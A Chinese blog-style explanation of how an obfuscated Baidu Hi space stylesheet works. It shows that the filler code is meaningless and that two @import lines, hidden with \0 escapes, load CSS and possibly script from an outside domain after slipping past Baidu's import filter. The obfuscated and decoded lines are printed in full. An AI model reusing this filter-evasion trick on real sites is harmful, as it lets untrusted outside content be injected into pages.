自百度CSS import漏洞被公开以来,大量网友反复询问关于 https://hi.baidu.com/edikid 这个空间的相关问题,累计咨询人数已超过百人。CSS代码本身无法被加密,因为浏览器需要解析其内容。然而,使用工具查看时却显示为乱码,仿佛制造了一个技术奇迹。
本文不讨论该空间的作者及其技术细节,仅对其CSS代码进行基础解析,以便读者今后遇到类似问题不再困惑。
首先,我们列出该空间使用的CSS代码:
@ODY{
@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}#HEADER%7@@ACKGROUND:#CCFF66%3@HEIGHT:100PX%3@WIDTH:100%}AD1,AD2,AD3,AD4,AD5,AD6%7@@ACKGROUND:#FFCC00%3@COLOR:#2FA4D}@\0i\0m\0p\0o\0r\000t "\0h\0t\0t\0p://bl\0o\0g\0.ed\0i\0k\0id.ne\0t\0/\0h\0ibaidu/c\0s\0s.\0h\0t\0m\0l\0";E%3@}#LAYOUT%7@WIDTH:98%%3@}#LAYOUT TD.C3T1%-ARROW-COLOR: #000000%3@ SCROLL@AR-TRACK-COLOR: #FFFFFF%3@ SCROLL@AR-DARKSHADOW@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}%%3@ SCROLL@AR-DARKSHADOW-COLOR: #FFFFFF%3@ SCROLL@AR-@ASE-COLOR: #FFFFFF%3@;}@\0i\0m\0p\0o\0r\00t "h\0t\0t\000p:/\0/\0b\0l\0o\0g.e\0d\0i\0k\0i\0d.n\0e\0t\0/\0h\0i\0b\0a\0idu\0/\000js.h\0t\0m\0l";E%3@}#LAYOUT%7@WIDTH:98%%3@}#LAYOUT TD.C3T1%-ARROW-COLOR: #000000%3@ SCROLL@AR-TRACK-COLOR: #FFFFFF%3@ SCROLL@AR-DARKSHADOW@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}%%3@ %
坦白说,若非要逐行解释这些代码的意义,并不现实。因为对于浏览器而言,其中大部分属于无效代码——无论写入什么内容,都不会执行。例如下面这段:
@ODY{
@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}#HEADER%7@@ACKGROUND:#CCFF66%3@HEIGHT:100PX%3@WIDTH:100%}AD1,AD2,AD3,AD4,AD5,AD6%7@@ACKGROUND:#FFCC00%3@COLOR:#2FA4D}
E%3@}#LAYOUT%7@WIDTH:98%%3@}#LAYOUT TD.C3T1%-ARROW-COLOR: #000000%3@ SCROLL@AR-TRACK-COLOR: #FFFFFF%3@ SCROLL@AR-DARKSHADOW@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}%%3@ SCROLL@AR-DARKSHADOW-COLOR: #FFFFFF%3@ SCROLL@AR-@ASE-COLOR: #FFFFFF%3@;}
E%3@}#LAYOUT%7@WIDTH:98%%3@}#LAYOUT TD.C3T1%-ARROW-COLOR: #000000%3@ SCROLL@AR-TRACK-COLOR: #FFFFFF%3@ SCROLL@AR-DARKSHADOW@ODY%7@@ACKGROUND:#FFCC00%3@WIDTH:100%%3@OVERFLOW-X:HIDDEN%3@COLOR:#2FA4DE}%%3@ %
这些代码本身没有实际含义,可以随意编写,只需确保语句正常结束即可。这也是为什么无论怎么解读都难以理解的原因。细心的读者会发现,其中有两行代码才是关键所在:
@\0i\0m\0p\0o\0r\000t "\0h\0t\0t\0p://bl\0o\0g\0.ed\0i\0k\0id.ne\0t\0/\0h\0ibaidu/c\0s\0s.\0h\0t\0m\0l\0";
@\0i\0m\0p\0o\0r\00t "h\0t\0t\000p:/\0/\0b\0l\0o\0g.e\0d\0i\0k\0i\0d.n\0e\0t\0/\0h\0i\0b\0a\0idu\0/\000js.h\0t\0m\0l";
在CSS语法中,\0、\00、\000 这类字符会被浏览器自动忽略(更多CSS Hacking技巧可参考XSS相关文章)。去除混淆字符后,实际代码为:
@import "https://blog.edikid.net/hibaidu/css.html";
@import "https://blog.edikid.net/hibaidu/js.html";
这两行代码大家应该很熟悉——它们不仅可以引入被调用的CSS代码,还能随意插入JavaScript代码(例如用于嵌入视频)。
然而,如果直接将作者的完整CSS代码复制到自己的百度空间,并不会生效。原因在于,import 关键字及其相关的绕过方式早已被百度过滤机制屏蔽,而作者是在过滤规则生效之前添加的,且未做修改,因此至今仍能正常使用。
至于那两个链接:
https://blog.edikid.net/hibaidu/css.htmlhttps://blog.edikid.net/hibaidu/js.html
关于这两个链接:第一个CSS调用未进行深入分析,因为测试时恰好文件无法访问;第二个应该不会被执行,因为前面的混淆语句并不完整,具体执行情况取决于客户端的浏览器类型。
不过根据以往的分析记录,其中似乎包含类似 的HTML转向代码。由于文件后缀为 .html,浏览器直接访问时,CSS不会执行,但内嵌的HTML或JavaScript会执行;而通过 @import 调用时,HTML及脚本不会执行,但CSS会执行。因此,只能使用记事本打开,或借助FlashGet等工具下载才能查看真实内容。
归根结底,这一切都只是在CSS层面做文章。如果真正理解了CSS的本质,并认真思考其运行机制,相信就不会有那么多疑惑了。
